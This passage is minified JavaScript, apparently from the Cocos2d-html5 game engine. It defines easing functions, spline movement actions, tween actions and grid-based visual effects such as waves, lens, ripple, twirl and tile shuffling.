  671. b.iu=b.ql.extend({update:function(a){this.p.update(this.ax(a))},reverse:function(){return b.gu.create(this.p.reverse())},j:function(){var a=new b.iu;a.aa(this.p.j());return a}});b.iu.create=function(a){return new b.iu(a)};b.AJ={Ka:function(a){return b.iv(a)},reverse:function(){return b.yJ}};b.Z9=function(){return b.AJ};b.hu=b.ql.extend({update:function(a){var c=0,c=0.5>a?0.5*(1-this.ax(1-2*a)):0.5*this.ax(2*a-1)+0.5;this.p.update(c)},j:function(){var a=new b.hu;a.aa(this.p.j());return a},reverse:function(){return b.hu.create(this.p.reverse())}});
  672. b.hu.create=function(a){return new b.hu(a)};b.zJ={Ka:function(a){return a=0.5>a?0.5*(1-b.iv(1-2*a)):0.5*b.iv(2*a-1)+0.5},reverse:function(){return b.zJ}};b.Y9=function(){return b.zJ};b.du=b.Ra.extend({update:function(a){this.p.update(0===a||1==a?a:a*a*(2.70158*a-1.70158))},reverse:function(){return b.fu.create(this.p.reverse())},j:function(){var a=new b.du;a.aa(this.p.j());return a}});b.du.create=function(a){return new b.du(a)};b.vJ={Ka:function(a){return 0===a||1===a?a:a*a*(2.70158*a-1.70158)},reverse:function(){return b.xJ}};
  673. b.U9=function(){return b.vJ};b.fu=b.Ra.extend({update:function(a){a-=1;this.p.update(a*a*(2.70158*a+1.70158)+1)},reverse:function(){return b.du.create(this.p.reverse())},j:function(){var a=new b.fu;a.aa(this.p.j());return a}});b.fu.create=function(a){return new b.fu(a)};b.xJ={Ka:function(a){a-=1;return a*a*(2.70158*a+1.70158)+1},reverse:function(){return b.vJ}};b.W9=function(){return b.xJ};
  674. b.eu=b.Ra.extend({update:function(a){a*=2;1>a?this.p.update(a*a*(3.5949095*a-2.5949095)/2):(a-=2,this.p.update(a*a*(3.5949095*a+2.5949095)/2+1))},j:function(){var a=new b.eu;a.aa(this.p.j());return a},reverse:function(){return b.eu.create(this.p.reverse())}});b.eu.create=function(a){return new b.eu(a)};b.wJ={Ka:function(a){a*=2;if(1>a)return a*a*(3.5949095*a-2.5949095)/2;a-=2;return a*a*(3.5949095*a+2.5949095)/2+1},reverse:function(){return b.wJ}};b.V9=function(){return b.wJ};
  675. b.Zp=b.Ra.extend({hw:null,iw:null,jw:null,kw:null,ctor:function(a){b.Ra.prototype.ctor.call(this,a)},oa:function(a,c,d,e,f){return Math.pow(1-f,3)*a+3*f*Math.pow(1-f,2)*c+3*Math.pow(f,2)*(1-f)*d+Math.pow(f,3)*e},update:function(a){this.p.update(this.oa(this.hw,this.iw,this.jw,this.kw,a))},j:function(){var a=new b.Zp;a.aa(this.p.j());a.$O(this.hw,this.iw,this.jw,this.kw);return a},reverse:function(){var a=b.Zp.create(this.p.reverse());a.$O(this.kw,this.jw,this.iw,this.hw);return a},$O:function(a,c,
  676. d,e){this.hw=a||0;this.iw=c||0;this.jw=d||0;this.kw=e||0}});b.Zp.create=function(a){return new b.Zp(a)};b.XZ=function(a,c,d,e){return{Ka:function(f){return b.Zp.prototype.oa(a,c,d,e,f)},reverse:function(){return b.XZ(e,d,c,a)}}};b.gq=b.Ra.extend({oa:function(a){return Math.pow(a,2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.gq;a.aa(this.p.j());return a},reverse:function(){return b.gq.create(this.p.reverse())}});b.gq.create=function(a){return new b.gq(a)};
  677. b.MJ={Ka:b.gq.prototype.oa,reverse:function(){return b.MJ}};b.i$=function(){return b.MJ};b.iq=b.Ra.extend({oa:function(a){return-a*(a-2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.iq;a.aa();return a},reverse:function(){return b.iq.create(this.p.reverse())}});b.iq.create=function(a){return new b.iq(a)};b.OJ={Ka:b.iq.prototype.oa,reverse:function(){return b.OJ}};b.k$=function(){return b.OJ};
  678. b.hq=b.Ra.extend({oa:function(a){var c=a;a*=2;1>a?c=a*a*0.5:(--a,c=-0.5*(a*(a-2)-1));return c},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.hq;a.aa(this.p.j());return a},reverse:function(){return b.hq.create(this.p.reverse())}});b.hq.create=function(a){return new b.hq(a)};b.NJ={Ka:b.hq.prototype.oa,reverse:function(){return b.NJ}};b.j$=function(){return b.NJ};
  679. b.jq=b.Ra.extend({oa:function(a){return a*a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.jq;a.aa(this.p.j());return a},reverse:function(){return b.jq.create(this.p.reverse())}});b.jq.create=function(a){return new b.jq(a)};b.PJ={Ka:b.jq.prototype.oa,reverse:function(){return b.PJ}};b.l$=function(){return b.PJ};
  680. b.lq=b.Ra.extend({oa:function(a){a-=1;return-(a*a*a*a-1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.lq;a.aa(this.p.j());return a},reverse:function(){return b.lq.create(this.p.reverse())}});b.lq.create=function(a){return new b.lq(a)};b.RJ={Ka:b.lq.prototype.oa,reverse:function(){return b.RJ}};b.n$=function(){return b.RJ};
  681. b.kq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a*a;a-=2;return-0.5*(a*a*a*a-2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.kq;a.aa(this.p.j());return a},reverse:function(){return b.kq.create(this.p.reverse())}});b.kq.create=function(a){return new b.kq(a)};b.QJ={Ka:b.kq.prototype.oa,reverse:function(){return b.QJ}};b.m$=function(){return b.QJ};
  682. b.mq=b.Ra.extend({oa:function(a){return a*a*a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.mq;a.aa(this.p.j());return a},reverse:function(){return b.mq.create(this.p.reverse())}});b.mq.create=function(a){return new b.mq(a)};b.SJ={Ka:b.mq.prototype.oa,reverse:function(){return b.SJ}};b.o$=function(){return b.SJ};
  683. b.oq=b.Ra.extend({oa:function(a){a-=1;return a*a*a*a*a+1},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.oq;a.aa(this.p.j());return a},reverse:function(){return b.oq.create(this.p.reverse())}});b.oq.create=function(a){return new b.oq(a)};b.UJ={Ka:b.oq.prototype.oa,reverse:function(){return b.UJ}};b.q$=function(){return b.UJ};
  684. b.nq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a*a*a;a-=2;return 0.5*(a*a*a*a*a+2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.nq;a.aa(this.p.j());return a},reverse:function(){return b.nq.create(this.p.reverse())}});b.nq.create=function(a){return new b.nq(a)};b.TJ={Ka:b.nq.prototype.oa,reverse:function(){return b.TJ}};b.p$=function(){return b.TJ};
  685. b.$p=b.Ra.extend({oa:function(a){return-1*(Math.sqrt(1-a*a)-1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.$p;a.aa(this.p.j());return a},reverse:function(){return b.$p.create(this.p.reverse())}});b.$p.create=function(a){return new b.$p(a)};b.BJ={Ka:b.$p.prototype.oa,reverse:function(){return b.BJ}};b.a$=function(){return b.BJ};
  686. b.bq=b.Ra.extend({oa:function(a){a-=1;return Math.sqrt(1-a*a)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.bq;a.aa(this.p.j());return a},reverse:function(){return b.bq.create(this.p.reverse())}});b.bq.create=function(a){return new b.bq(a)};b.DJ={Ka:b.bq.prototype.oa,reverse:function(){return b.DJ}};b.c$=function(){return b.DJ};
  687. b.aq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return-0.5*(Math.sqrt(1-a*a)-1);a-=2;return 0.5*(Math.sqrt(1-a*a)+1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.aq;a.aa(this.p.j());return a},reverse:function(){return b.aq.create(this.p.reverse())}});b.aq.create=function(a){return new b.aq(a)};b.CJ={Ka:b.aq.prototype.oa,reverse:function(){return b.CJ}};b.b$=function(){return b.CJ};
  688. b.cq=b.Ra.extend({oa:function(a){return a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.cq;a.aa(this.p.j());return a},reverse:function(){return b.cq.create(this.p.reverse())}});b.cq.create=function(a){return new b.cq(a)};b.EJ={Ka:b.cq.prototype.oa,reverse:function(){return b.EJ}};b.d$=function(){return b.EJ};b.eq=b.Ra.extend({oa:function(a){a-=1;return a*a*a+1},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.eq;a.aa(this.p.j());return a},reverse:function(){return b.eq.create(this.p.reverse())}});
  689. b.eq.create=function(a){return new b.eq(a)};b.GJ={Ka:b.eq.prototype.oa,reverse:function(){return b.GJ}};b.f$=function(){return b.GJ};b.dq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a;a-=2;return 0.5*(a*a*a+2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.dq;a.aa(this.p.j());return a},reverse:function(){return b.dq.create(this.p.reverse())}});b.dq.create=function(a){return new b.dq(a)};b.FJ={Ka:b.dq.prototype.oa,reverse:function(){return b.FJ}};b.e$=function(){return b.FJ};b.pE=function(a,c,d,e,f,g){var h=g*g,k=h*g,m=(1-f)/2;f=m*(-k+2*h-g);var p=m*(-k+h)+(2*k-3*h+1);g=m*(k-2*h+g)+(-2*k+3*h);h=m*(k-h);return N(a.x*f+c.x*p+d.x*g+e.x*h,a.y*f+c.y*p+d.y*g+e.y*h)};b.TO=function(a){for(var c=[],d=a.length-1;0<=d;d--)c.push(N(a[d].x,a[d].y));return c};b.gx=function(a){for(var c=[],d=0;d<a.length;d++)c.push(N(a[d].x,a[d].y));return c};b.dd=function(a,c){var d=Math.min(a.length-1,Math.max(c,0));return a[d]};
  690. b.fha=function(a){for(var c=a.length,d=0|c/2,e=0;e<d;++e){var f=a[e];a[e]=a[c-e-1];a[c-e-1]=f}};
  691. b.dh=b.u.extend({rh:null,pJ:0,Ao:0,Qc:null,XI:null,ctor:function(a,c,d){b.u.prototype.ctor.call(this);this.rh=[];void 0!==d&&this.d(a,c,d)},d:function(a,c,d){if(!c||0==c.length)throw"Invalid configuration. It must at least have one control point";return b.u.prototype.d.call(this,a)?(this.G3(c),this.Ao=d,!0):!1},j:function(){var a=new b.dh;a.d(this.m,b.gx(this.rh),this.Ao);return a},v:function(a){b.u.prototype.v.call(this,a);this.pJ=1/(this.rh.length-1);this.Qc=N(this.target.Te(),this.target.Ng());
  692. this.XI=N(0,0)},update:function(a){a=this.hd(a);var c,d=this.rh;if(1==a)c=d.length-1,a=1;else{var e=this.pJ;c=0|a/e;a=(a-e*c)/e}c=b.pE(b.dd(d,c-1),b.dd(d,c-0),b.dd(d,c+1),b.dd(d,c+2),this.Ao,a);b.au&&(d=this.target.Te()-this.Qc.x,a=this.target.Ng()-this.Qc.y,0!=d||0!=a)&&(e=this.XI,d=e.x+d,a=e.y+a,e.x=d,e.y=a,c.x+=d,c.y+=a);this.VP(c)},reverse:function(){var a=b.TO(this.rh);return b.dh.create(this.m,a,this.Ao)},VP:function(a){this.target.P(a);this.Qc=a},Fba:function(){return this.rh},G3:function(a){this.rh=
  693. a}});b.dh.create=function(a,c,d){return new b.dh(a,c,d)};
  694. b.pl=b.dh.extend({Fc:null,ctor:function(a,c,d){b.dh.prototype.ctor.call(this);this.Fc=N(0,0);void 0!==d&&this.d(a,c,d)},v:function(a){b.dh.prototype.v.call(this,a);this.Fc.x=a.Te();this.Fc.y=a.Ng()},reverse:function(){for(var a=this.rh.slice(),c,d=a[0],e=1;e<a.length;++e)c=a[e],a[e]=b.Id(c,d),d=c;a=b.TO(a);d=a[a.length-1];a.pop();d.x=-d.x;d.y=-d.y;a.unshift(d);for(e=1;e<a.length;++e)c=a[e],c.x=-c.x,c.y=-c.y,c.x+=d.x,c.y+=d.y,d=a[e]=c;return b.pl.create(this.m,a,this.Ao)},VP:function(a){var c=this.Fc,
  695. d=a.x+c.x;a=a.y+c.y;this.Qc.x=d;this.Qc.y=a;this.target.P(d,a)},j:function(){var a=new b.pl;a.d(this.m,b.gx(this.rh),this.Ao);return a}});b.pl.create=function(a,c,d){return new b.pl(a,c,d)};b.Zt=b.dh.extend({ctor:function(a,c){c&&this.d(a,c)},d:function(a,c){return b.dh.prototype.d.call(this,a,c,0.5)},j:function(){var a=new b.Zt;a.d(this.m,b.gx(this.rh));return a}});b.Zt.create=function(a,c){return new b.Zt(a,c)};
  696. b.Yt=b.pl.extend({ctor:function(a,c){b.pl.prototype.ctor.call(this);c&&this.d(a,c)},d:function(a,c){return b.dh.prototype.d.call(this,a,c,0.5)},j:function(){var a=new b.Yt;a.d(this.m,b.gx(this.rh));return a}});b.Yt.create=function(a,c){return new b.Yt(a,c)};b.n5=b.ja.extend({M4:function(){}});
  697. b.Sp=b.u.extend({key:"",lx:0,Ny:0,Os:0,ctor:function(a,c,d,e){b.u.prototype.ctor.call(this);this.key="";void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.u.prototype.d.call(this,a)?(this.key=c,this.Ny=e,this.lx=d,!0):!1},v:function(a){if(!a||!a.M4)throw"cc.ActionTween.startWithTarget(): target must be non-null, and target must implement updateTweenAction function";b.u.prototype.v.call(this,a);this.Os=this.Ny-this.lx},update:function(){},reverse:function(){return b.Sp.create(this.duration,this.key,
  698. this.Ny,this.lx)},j:function(){var a=new b.Sp;a.d(this.m,this.key,this.lx,this.Ny);return a}});b.Sp.create=function(a,c,d,e){var f=new b.Sp;return f.d(a,c,d,e)?f:null};b.action=b.fd.create;b.speed=b.Hq.create;b.Q$=b.wu.create;b.Sfa=b.be.create;b.k9=b.dh.create;b.j9=b.pl.create;b.m9=b.Zt.create;b.l9=b.Yt.create;b.show=b.Df.create;b.Nca=b.fh.create;b.aka=b.Oq.create;b.Xga=b.Cq.create;b.O$=b.qq.create;b.P$=b.rq.create;b.oga=b.Cu.create;b.f9=b.jb.create;b.B8=b.u.create;b.tha=b.qa.create;b.repeat=b.Al.create;
  699. b.Q2=b.Bl.create;b.Eja=b.ze.create;b.kha=b.Eu.create;b.jha=b.Vj.create;b.moveBy=b.df.create;b.moveTo=b.wq.create;b.Cja=b.Xj.create;b.Bja=b.Gq.create;b.sda=b.tg.create;b.tda=b.xu.create;b.a9=b.Qj.create;b.b9=b.Xt.create;b.oha=b.wd.create;b.nha=b.tn.create;b.blink=b.Up.create;b.L$=b.Tj.create;b.J$=b.ln.create;b.K$=b.tl.create;b.Zja=b.Su.create;b.Yja=b.Nq.create;b.C9=b.pc.create;b.gha=b.Cl.create;b.U8=b.ah.create;b.Rja=b.Qu.create;b.C8=b.Sp.create;b.ic=b.u.extend({Y:null,ctor:function(a,c){b.fB();b.u.prototype.ctor.call(this);this.Y=O(0,0);c&&this.d(a,c)},j:function(){var a=new b.ic,c=this.Y;a.d(this.m,O(c.width,c.height));return a},v:function(a){b.u.prototype.v.call(this,a);var c=this.Ss(),d=this.target;(a=d.grid)&&0<a.ri?(c=a.P_(),a.xf()&&c.width==this.Y.width&&c.height==this.Y.height&&a.ZF()):(a&&a.xf()&&a.setActive(!1),d.grid=c,d.grid.setActive(!0))},reverse:function(){return b.Cl.create(this)},d:function(a,c){return b.u.prototype.d.call(this,
  700. a)?(this.Y.width=c.width,this.Y.height=c.height,!0):!1},Ss:function(){b.log("cc.GridAction.getGrid(): it should be overridden in subclass.")}});b.ic.create=function(a,c){return new b.ic(a,c)};b.Uc=b.ic.extend({Ss:function(){return b.nz.create(this.Y)},$P:function(a){return this.target.grid.$P(a)},Kc:function(a){return this.target.grid.Kc(a)},Kd:function(a,c){this.target.grid.Kd(a,c)}});b.Uc.create=function(a,c){return new b.Uc(a,c)};
  701. b.sc=b.ic.extend({LP:function(a){return this.target.grid.LP(a)},eg:function(a){return this.target.grid.eg(a)},$e:function(a,c){this.target.grid.$e(a,c)},Ss:function(){return b.nA.create(this.Y)}});b.sc.create=function(a,c){return new b.sc(a,c)};b.Dl=b.xe.extend({v:function(a){b.xe.prototype.v.call(this,a);(a=this.target.grid)&&a.xf()&&a.setActive(!1)}});b.Dl.create=function(){return new b.Dl};
  702. b.NH=b.xe.extend({ec:null,ctor:function(a){b.xe.prototype.ctor.call(this);void 0!==a&&this.Z0(a)},Z0:function(a){this.ec=a;return!0},v:function(a){b.xe.prototype.v.call(this,a);this.target.grid&&this.target.grid.xf()&&this.target.grid.K3(this.target.grid.ri+this.ec)}});b.NH.create=function(a){return new b.NH(a)};b.NI=b.Uc.extend({tf:0,ab:0,bb:0,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e){return b.Uc.prototype.d.call(this,a,c)?(this.tf=d,this.ab=e,this.bb=1,!0):!1},update:function(a){for(var c=this.Y,d=this.ab,e=N(0,0),f=this.bb,g=this.tf,h=0;h<c.width+1;++h)for(var k=0;k<c.height+1;++k){e.x=h;e.y=k;var m=this.Kc(e);m.z+=Math.sin(Math.PI*
  703. a*g*2+0.01*(m.y+m.x))*d*f;this.Kd(e,m)}}});b.NI.create=function(a,c,d,e){return new b.NI(a,c,d,e)};
  704. b.mz=b.Uc.extend({ctor:function(a){void 0!==a?b.ic.prototype.ctor.call(this,a,O(1,1)):b.ic.prototype.ctor.call(this)},d:function(a){return b.Uc.prototype.d.call(this,a,O(1,1))},Ix:function(a,c){return 1!=a.width||1!=a.height?(b.log("Grid size must be (1,1)"),!1):b.Uc.prototype.d.call(this,c,a)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new b.tc,e=N(0,0);e.x=e.y=1;var f=this.Kc(e);e.x=e.y=0;var e=this.Kc(e),g=f.x,h=e.x,k,m;g>h?(f=N(0,0),e=N(0,1),k=N(1,0),m=N(1,1)):(k=N(0,
  705. 0),m=N(0,1),f=N(1,0),e=N(1,1),g=h);c.x=g-g*d;c.z=Math.abs(parseFloat(g*a/4));a=this.Kc(f);a.x=c.x;a.z+=c.z;this.Kd(f,a);a=this.Kc(e);a.x=c.x;a.z+=c.z;this.Kd(e,a);a=this.Kc(k);a.x-=c.x;a.z-=c.z;this.Kd(k,a);a=this.Kc(m);a.x-=c.x;a.z-=c.z;this.Kd(m,a)}});b.mz.create=function(a){return new b.mz(a)};
  706. b.dH=b.mz.extend({ctor:function(a){void 0!==a?b.ic.prototype.ctor.call(this,a,O(1,1)):b.ic.prototype.ctor.call(this)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new b.tc,e=N(0,0);e.x=e.y=1;var f=this.Kc(e);e.x=e.y=0;var e=this.Kc(e),g=f.y,h=e.y,k,m;g>h?(f=N(0,0),e=N(0,1),k=N(1,0),m=N(1,1)):(e=N(0,0),f=N(0,1),m=N(1,0),k=N(1,1),g=h);c.y=g-g*d;c.z=Math.abs(parseFloat(g*a)/4);a=this.Kc(f);a.y=c.y;a.z+=c.z;this.Kd(f,a);a=this.Kc(e);a.y-=c.y;a.z-=c.z;this.Kd(e,a);a=this.Kc(k);
  707. a.y=c.y;a.z+=c.z;this.Kd(k,a);a=this.Kc(m);a.y-=c.y;a.z-=c.z;this.Kd(m,a)}});b.dH.create=function(a){return new b.dH(a)};
  708. b.jH=b.Uc.extend({za:null,Ie:0,Zv:0,mV:!1,lb:!1,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);this.za=N(0,0);void 0!==e&&this.d(a,c,d,e)},dba:function(){return this.Zv},lia:function(a){this.Zv=a},Kha:function(a){this.mV=a},px:function(){return this.za},P:function(a){b.QF(a,this.za)||(this.za.x=a.x,this.za.y=a.y,this.lb=!0)},d:function(a,c,d,e){return b.Uc.prototype.d.call(this,a,c)?(this.P(d),this.Ie=e,this.Zv=0.7,this.lb=!0):!1},update:function(){if(this.lb){for(var a=this.Y.width,c=this.Y.height,
  709. d=this.Ie,e=this.Zv,f=N(0,0),g=N(0,0),h,k,m,p=0;p<a+1;++p)for(var r=0;r<c+1;++r)f.x=p,f.y=r,h=this.Kc(f),g.x=this.za.x-h.x,g.y=this.za.y-h.y,k=b.dl(g),k<d&&(k=d-k,k/=d,0==k&&(k=0.001),k=Math.log(k)*e,m=Math.exp(k)*d,k=b.dl(g),0<k&&(g.x/=k,g.y/=k,g.x*=m,g.y*=m,h.z+=b.dl(g)*e)),this.Kd(f,h);this.lb=!1}}});b.jH.create=function(a,c,d,e){return new b.jH(a,c,d,e)};
  710. b.OH=b.Uc.extend({za:null,Ie:0,tf:0,ab:0,bb:0,ctor:function(a,c,d,e,f,g){b.ic.prototype.ctor.call(this);this.za=N(0,0);void 0!==g&&this.d(a,c,d,e,f,g)},px:function(){return this.za},P:function(a){this.za.x=a.x;this.za.y=a.y},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e,f,g){return b.Uc.prototype.d.call(this,a,c)?(this.P(d),this.Ie=e,this.tf=f,this.ab=g,this.bb=1,!0):!1},update:function(a){for(var c=this.Y.width,
  711. d=this.Y.height,e=N(0,0),f=this.Ie,g=this.tf,h=this.ab,k=this.bb,m,p,r=N(0,0),s=0;s<c+1;++s)for(var u=0;u<d+1;++u)e.x=s,e.y=u,m=this.Kc(e),r.x=this.za.x-m.x,r.y=this.za.y-m.y,p=b.dl(r),p<f&&(p=f-p,m.z+=Math.sin(a*Math.PI*g*2+0.1*p)*h*k*Math.pow(p/f,2)),this.Kd(e,m)}});b.OH.create=function(a,c,d,e,f,g){return new b.OH(a,c,d,e,f,g)};
  712. b.SH=b.Uc.extend({Hk:0,ds:!1,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.Uc.prototype.d.call(this,a,c)?(this.Hk=d,this.ds=e,!0):!1},update:function(){for(var a=this.Y.width,c=this.Y.height,d=this.Hk,e=this.ds,f=N(0,0),g,h=0;h<a+1;++h)for(var k=0;k<c+1;++k)f.x=h,f.y=k,g=this.Kc(f),g.x+=b.Bb()%(2*d)-d,g.y+=b.Bb()%(2*d)-d,e&&(g.z+=b.Bb()%(2*d)-d),this.Kd(f,g)}});b.SH.create=function(a,c,d,e){return new b.SH(a,c,d,e)};
  713. b.kH=b.Uc.extend({tf:0,ab:0,bb:0,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e){return b.Uc.prototype.d.call(this,a,c)?(this.tf=d,this.ab=e,this.bb=1,!0):!1},update:function(a){for(var c=this.Y.width,d=this.Y.height,e=N(0,0),f=this.tf,g=this.ab,h=this.bb,k,m=1;m<c;++m)for(var p=1;p<d;++p)e.x=m,e.y=p,k=this.Kc(e),k.x+=Math.sin(a*Math.PI*
  714. f*2+0.01*k.x)*g*h,k.y+=Math.sin(a*Math.PI*f*2+0.01*k.y)*g*h,this.Kd(e,k)}});b.kH.create=function(a,c,d,e){return new b.kH(a,c,d,e)};
  715. b.MI=b.Uc.extend({tf:0,ab:0,bb:0,fM:!1,vK:!1,ctor:function(a,c,d,e,f,g){b.ic.prototype.ctor.call(this);void 0!==g&&this.d(a,c,d,e,f,g)},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e,f,g){return b.Uc.prototype.d.call(this,a,c)?(this.tf=d,this.ab=e,this.bb=1,this.vK=f,this.fM=g,!0):!1},update:function(a){for(var c=this.Y.width,d=this.Y.height,e=N(0,0),f=this.fM,g=this.vK,h=this.tf,k=this.ab,m=this.bb,p,r=0;r<c+1;++r)for(var s=
  716. 0;s<d+1;++s)e.x=r,e.y=s,p=this.Kc(e),f&&(p.x+=Math.sin(a*Math.PI*h*2+0.01*p.y)*k*m),g&&(p.y+=Math.sin(a*Math.PI*h*2+0.01*p.x)*k*m),this.Kd(e,p)}});b.MI.create=function(a,c,d,e,f,g){return new b.MI(a,c,d,e,f,g)};
  717. b.HI=b.Uc.extend({za:null,VL:0,ab:0,bb:0,ctor:function(a,c,d,e,f){b.ic.prototype.ctor.call(this);this.za=N(0,0);void 0!==f&&this.d(a,c,d,e,f)},px:function(){return this.za},P:function(a){this.za.x=a.x;this.za.y=a.y},bp:function(){return this.ab},Dp:function(a){this.ab=a},Jm:function(){return this.bb},Ym:function(a){this.bb=a},d:function(a,c,d,e,f){return b.Uc.prototype.d.call(this,a,c)?(this.P(d),this.VL=e,this.ab=f,this.bb=1,!0):!1},update:function(a){for(var c=this.za,d=this.Y.width,e=this.Y.height,
  718. f=N(0,0),g=0.1*this.ab*this.bb,h=this.VL,k,m,p,r=N(0,0),s=0;s<d+1;++s)for(var u=0;u<e+1;++u)f.x=s,f.y=u,k=this.Kc(f),r.x=s-d/2,r.y=u-e/2,m=b.dl(r)*Math.cos(Math.PI/2+a*Math.PI*h*2)*g,p=Math.sin(m)*(k.y-c.y)+Math.cos(m)*(k.x-c.x),m=Math.cos(m)*(k.y-c.y)-Math.sin(m)*(k.x-c.x),k.x=c.x+p,k.y=c.y+m,this.Kd(f,k)}});b.HI.create=function(a,c,d,e,f){return new b.HI(a,c,d,e,f)};b.TH=b.sc.extend({Hk:0,ds:!1,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.sc.prototype.d.call(this,a,c)?(this.Hk=d,this.ds=e,!0):!1},update:function(){for(var a=this.Y,c=this.Hk,d=N(0,0),e=0;e<a.width;++e)for(var f=0;f<a.height;++f){d.x=e;d.y=f;var g=this.eg(d);g.F.x+=b.Bb()%(2*c)-c;g.M.x+=b.Bb()%(2*c)-c;g.L.x+=b.Bb()%(2*c)-c;g.J.x+=b.Bb()%(2*c)-c;g.F.y+=b.Bb()%(2*c)-c;g.M.y+=b.Bb()%(2*c)-c;g.L.y+=b.Bb()%(2*c)-c;g.J.y+=b.Bb()%(2*c)-
  719. c;this.ds&&(g.F.z+=b.Bb()%(2*c)-c,g.M.z+=b.Bb()%(2*c)-c,g.L.z+=b.Bb()%(2*c)-c,g.J.z+=b.Bb()%(2*c)-c);this.$e(d,g)}}});b.TH.create=function(a,c,d,e){return new b.TH(a,c,d,e)};
  720. b.UH=b.sc.extend({Hk:0,nC:!1,KL:!1,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.sc.prototype.d.call(this,a,c)?(this.nC=!1,this.Hk=d,this.KL=e,!0):!1},update:function(){if(!1===this.nC){for(var a=this.Y,c=this.Hk,d,e=N(0,0),f=0;f<a.width;++f)for(var g=0;g<a.height;++g)e.x=f,e.y=g,d=this.eg(e),d.F.x+=b.Bb()%(2*c)-c,d.M.x+=b.Bb()%(2*c)-c,d.L.x+=b.Bb()%(2*c)-c,d.J.x+=b.Bb()%(2*c)-c,d.F.y+=b.Bb()%(2*c)-c,d.M.y+=b.Bb()%(2*c)-c,d.L.y+=b.Bb()%
  721. (2*c)-c,d.J.y+=b.Bb()%(2*c)-c,this.KL&&(d.F.z+=b.Bb()%(2*c)-c,d.M.z+=b.Bb()%(2*c)-c,d.L.z+=b.Bb()%(2*c)-c,d.J.z+=b.Bb()%(2*c)-c),this.$e(e,d);this.nC=!0}}});b.UH.create=function(a,c,d,e){return new b.UH(a,c,d,e)};function da(){this.position=N(0,0);this.p4=N(0,0);this.Os=N(0,0)}
  722. b.VH=b.sc.extend({WC:0,wj:0,ui:null,Le:null,ctor:function(a,c,d){b.ic.prototype.ctor.call(this);this.ui=[];this.Le=[];void 0!==d&&this.d(a,c,d)},d:function(a,c,d){return b.sc.prototype.d.call(this,a,c)?(this.WC=d,this.ui.length=0,this.Le.length=0,!0):!1},xG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.Bb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},NE:function(a){var c=this.Y,d=a.width*c.height+a.height;return O(this.ui[d]/c.height-a.width,this.ui[d]%c.height-a.height)},r2:function(a,c){var d=this.eg(a),
  723. e=this.target.grid.WE(),f=c.position;d.F.x+=f.x*e.x;d.F.y+=f.y*e.y;d.M.x+=f.x*e.x;d.M.y+=f.y*e.y;d.L.x+=f.x*e.x;d.L.y+=f.y*e.y;d.J.x+=f.x*e.x;d.J.y+=f.y*e.y;this.$e(a,d)},v:function(a){b.sc.prototype.v.call(this,a);a=this.Y;this.wj=a.width*a.height;for(var c=this.ui,d=c.length=0;d<this.wj;++d)c[d]=d;this.xG(c,this.wj);for(var c=this.Le,d=c.length=0,e=O(0,0),f=0;f<a.width;++f)for(var g=0;g<a.height;++g)c[d]=new da,c[d].position=N(f,g),c[d].p4=N(f,g),e.width=f,e.height=g,c[d].Os=this.NE(e),++d},update:function(a){for(var c=
  724. 0,d=this.Y,e=this.Le,f,g=N(0,0),h=0;h<d.width;++h)for(var k=0;k<d.height;++k)g.x=h,g.y=k,f=e[c],f.position.x=f.Os.width*a,f.position.y=f.Os.height*a,this.r2(g,f),++c}});b.VH.create=function(a,c,d){return new b.VH(a,c,d)};
